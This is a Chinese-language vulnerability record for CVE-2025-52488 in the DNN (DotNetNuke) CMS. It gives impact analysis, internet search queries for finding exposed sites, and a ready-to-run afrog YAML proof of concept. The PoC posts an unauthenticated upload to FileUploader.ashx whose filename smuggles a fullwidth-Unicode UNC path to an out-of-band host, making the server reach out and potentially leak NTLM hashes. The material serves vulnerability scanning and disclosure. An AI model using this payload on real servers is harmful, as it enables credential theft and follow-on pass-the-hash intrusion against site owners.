DNN (DotNetNuke) Unicode Path Normalization NTLM Hash Disclosure Vulnerability

漏洞信息

漏洞名称： DNN (DotNetNuke) Unicode Path Normalization NTLM Hash Disclosure Vulnerability

漏洞编号：

• CVE： CVE-2025-52488

漏洞类型： 信息泄露

漏洞等级： 高危

漏洞描述： DNN（原名DotNetNuke）是一个开源的基于微软生态系统的Web内容管理平台（CMS）。在6.0.0至10.0.1之前的版本中，DNN.PLATFORM允许一系列特别构造的恶意交互，可能将NTLM哈希暴露给第三方SMB服务器。此问题已在10.0.1版本中修复。

受影响产品: DNN是一个广泛使用的开源Web内容管理平台，主要用于构建和管理企业级网站。它支持模块化扩展，适用于各种规模的网站部署。由于其开源和灵活性，DNN在全球范围内有广泛的应用。

漏洞解释: 该漏洞属于信息泄露类型，技术根源在于DNN平台在处理特定Unicode路径规范化时的缺陷。攻击者可以通过构造恶意的文件上传请求，利用路径规范化过程中的漏洞，诱使服务器向攻击者控制的SMB服务器泄露NTLM哈希。这种攻击不需要用户交互，且可以远程执行。

影响分析: 此漏洞的高危性在于它允许攻击者远程获取用户的NTLM哈希，进而可能用于进一步的攻击，如Pass-the-Hash攻击，从而获得系统权限。由于NTLM哈希的泄露，攻击者可以在不需要知道明文密码的情况下进行身份验证，严重威胁系统安全。此外，该漏洞的利用不需要认证，且可以自动化执行，增加了其潜在的风险和影响范围。

产品厂商： DNNSoftware

产品名称： DNN (DotNetNuke)

影响版本： 6.0.0 <= version < 10.0.1

搜索语法： app=”dotnetnuke” || “Set-Cookie: dnn_IsMobile” || icon_hash=”-1465479343”

来源： https://github.com/zan8in/afrog/blob/c67d13c00ba414f1b23025068b145477881d1228/pocs%2Ftemp%2Fafrog-pocs%2Fcve%2FCVE-2025-52488.yaml

类型： zan8in/afrog:github commit

POC详情

id: CVE-2025-52488

info:
  name: DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure
  author: assetnote,DhiyaneshDk,iamnoooob,pdresearch
  severity: high
  description: |
    DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.
    shodan-query:
      - "Set-Cookie: dnn_IsMobile"
      - http.favicon.hash:-1465479343
    fofa-query:
      - app="dotnetnuke"
      - "Set-Cookie: dnn_IsMobile"
      - icon_hash="-1465479343"
  reference:
    - https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96
    - https://slcyber.io/assetnote-security-research-center/abusing-windows-net-quirks-and-unicode-normalization-to-exploit-dnn-dotnetnuke/#hunting-variants
  tags: cve,cve2025,file-upload,dotnetnuke,oast,oob,dnnsoftware,oss,ntlm
  created: 2025/07/30

set:
  rboundary: randomLowercase(8)
  oob: oob()
  oobDNS: oob.DNS
  replaceStr: replaceAll("%EF%BC%BC%EF%BC%BC" + oobDNS + "%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg", '.','%EF%BC%8E')
  urldecodePayload: urldecode(replaceStr)
  randstr: randomLowercase(10)
rules:
  r0:
    request:
      method: POST
      path: /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: |
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="file"; filename="{{urldecodePayload}}"
        Content-Type: image/jpeg

        {{randstr}}
        ------WebKitFormBoundary{{rboundary}}--
    expression: oobCheck(oob, oob.ProtocolDNS, 3)
expression: r0()